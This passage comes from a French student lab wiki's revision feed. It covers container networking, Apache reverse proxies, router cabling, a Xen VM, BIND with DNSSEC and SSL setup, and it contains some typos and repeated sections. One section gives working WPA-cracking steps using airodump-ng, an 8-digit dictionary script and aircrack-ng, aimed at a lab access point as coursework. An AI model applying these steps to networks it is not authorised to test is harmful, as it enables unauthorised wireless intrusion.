On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====DNSSEC====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48761</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48761"/>
				<updated>2018-12-17T13:44:17Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
